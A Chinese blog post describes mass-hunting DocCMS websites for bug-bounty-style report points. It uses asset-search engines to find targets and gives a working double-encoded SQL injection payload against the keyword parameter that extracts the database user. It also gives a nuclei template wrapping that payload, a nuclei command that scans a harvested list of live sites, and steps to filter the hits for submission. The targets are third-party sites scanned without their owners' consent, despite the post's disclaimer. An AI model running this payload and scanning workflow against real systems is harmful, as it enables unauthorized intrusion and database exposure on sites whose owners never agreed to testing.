记一次公益 SRC 上分思路
2022-09-15 00:00:00

维护网络安全,营造良好的网络环境,文章仅供参考学习,请勿使用文中技术于非法用途,使用者造成任何负面影响与本人无关。

0x01 提前准备工作

这里暂时排除使用GooleHack的语法,而是使用测绘站搜索CMS,缩小范围提高准确率。

需要使用到以下工具和文库

0x02 使用POC测试单个站点

1. 寻找可利用POC

使用佩奇文库:http://wiki.peiqi.tech/wiki/cms/ 文库内部分漏洞存在可用POC,可提供我们测试学习,感谢大佬。

image-20221115171557337

主要针对 CMS 框架漏洞,框架漏洞有着清晰的指纹标识,方便批量寻找到目标。

2. 使用空间测绘站寻找资产

并不是所有漏洞都有现成的POC,又因为CMS对应的资产并不少,要找到一个可以利用的POC不一定是一件简单的事情。推荐找 可以通过GET传参得到返回结果的SQL注入 ,毕竟点进URL只要粘贴就可以验证是否存在漏洞。

在文库内找到网络测绘搜索语句,使用 fofa、shodan、360quake 等测绘引擎搜索相关资产。

3. 试相关资产漏洞是否存在

带有破坏型的漏洞不推荐测试,仅测试回显结果可以证明存在漏洞的POC。注入只需要爆出数据库、任意文件上传只需要上传phpinfo而不是传个shell,目前我是这么理解。

这里选择的是一个普通的 SQL 注入,构建poc如下

1
http:example.com/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

当页面发挥结果中包含 数据库用户名称、数据库地址则代表存在漏洞,至此为止。以下为图片说明

image-20221115171630787

0x03 批量对站点进行检测

1. 将收集结果URL保存至本地

可以通过测绘站接口,或是工具简单的实现,如 fofa_viewer

image-20221115171636565

将HOST字段保存至本地txt文件,此时你就得到了一个可能存在漏洞的站点列表。

image-20221115171640822

2. 编写POC或使用工具批量检测

这里稍微的犹豫了一下,要是用python requests写,那我要用到其他POC的时候,岂不是改起来很麻烦,之前了解过 https://github.com/projectdiscovery/nuclei/blob/master/README_CN.md 或许可以通过这个实现?

研究了一下,需要达成需求:向https://example.com/search/index.php发送指定 GET 请求,返回响应包内包含 ORDER BY id DESC字段的 URL,GET请求参数如下

1
keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

很简单,参考官方文档 https://nuclei.projectdiscovery.io/templating-guide/protocols/http/ “基础的HTTP请求” 编写一个 yaml 配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 必要字段 ID
id: DocCMS-keyword-SQLi
# 必要字段INFO
info:
name: DocCMS-keyword-SQLi
author: kylin
tags: sqli,DocCMS
reference: http://wiki.peiqi.tech/wiki/cms/DocCMS/DocCMS%20keyword%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
severity: high
# HTTP请求数据包
requests:
# 原始数据包(RAW)内容
- raw:
- |
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33/ HTTP1.1
Host: {{Hostname}}
# 匹配字符串包含 ORDER BY id DESC
matchers:
- type: word
words:
- "ORDER BY id DESC"

再看一下官方文档 https://github.com/projectdiscovery/nuclei/blob/master/README_CN.md 使用参数调用模板文件获取扫描结果

1
2
3
4
# 1.调用 DocCMS-keyword-SQLi.yaml 模板,扫描 urls.txt 文件
# 2.将结果保存至 result_DocCMS-keyword-SQLi.txt
# 3.简化输出结果 重试次数10 超时时间30s
nuclei -l urls.txt -t DocCMS-keyword-SQLi.yaml -o result_DocCMS-keyword-SQLi.txt -nm -retries 10 -timeout 30

image-20221115171647853

然后哇的一下,扫描结果就全出来了

使用 nuclei 编写 yaml 对批量检测漏洞有很大的帮助,不过根据官方的定义 nuclei 还可以用作渗透测试的工作流,这里留个个小小的坑

0x04 快速定位资产提交报告

1. 正则筛选根域名

因为扫描结果的URL并不是网站根域名,先简单针对扫描结果用正则匹配一下根域。)

1
2
# awk 正则定位根域名
awk -F 'search' '{print $1}' result_DocCMS-keyword-SQLi.txt > domain_DocCMS-keyword-SQLi.txt

2. 批量查询站点权重

批量查询权重:http://seo.iis7.com/

确认提交的平台, 漏洞盒子提交无限制, 补天需要百度权重>=1或Google权重>=3

更多关于补天的注意事项可以参考这篇文章: 关于补天SRC小白入门详细介绍

针对爱站PC、爱站PE、GooglePR筛选查询结果

image-20221115171652516

3. 批量查询备案信息

提交漏洞报告时,需要对公司名称以及公司定位做选择,这里有三个选择

对于 批量查询站点权重批量查询备案信息 本来都是有想法写个脚本来实现的,奈何这些0权站点实在不能给人带来动力.

提交漏洞的事情就交给另一个小倒霉蛋吧。

上一页
2022-09-15 00:00:00
下一页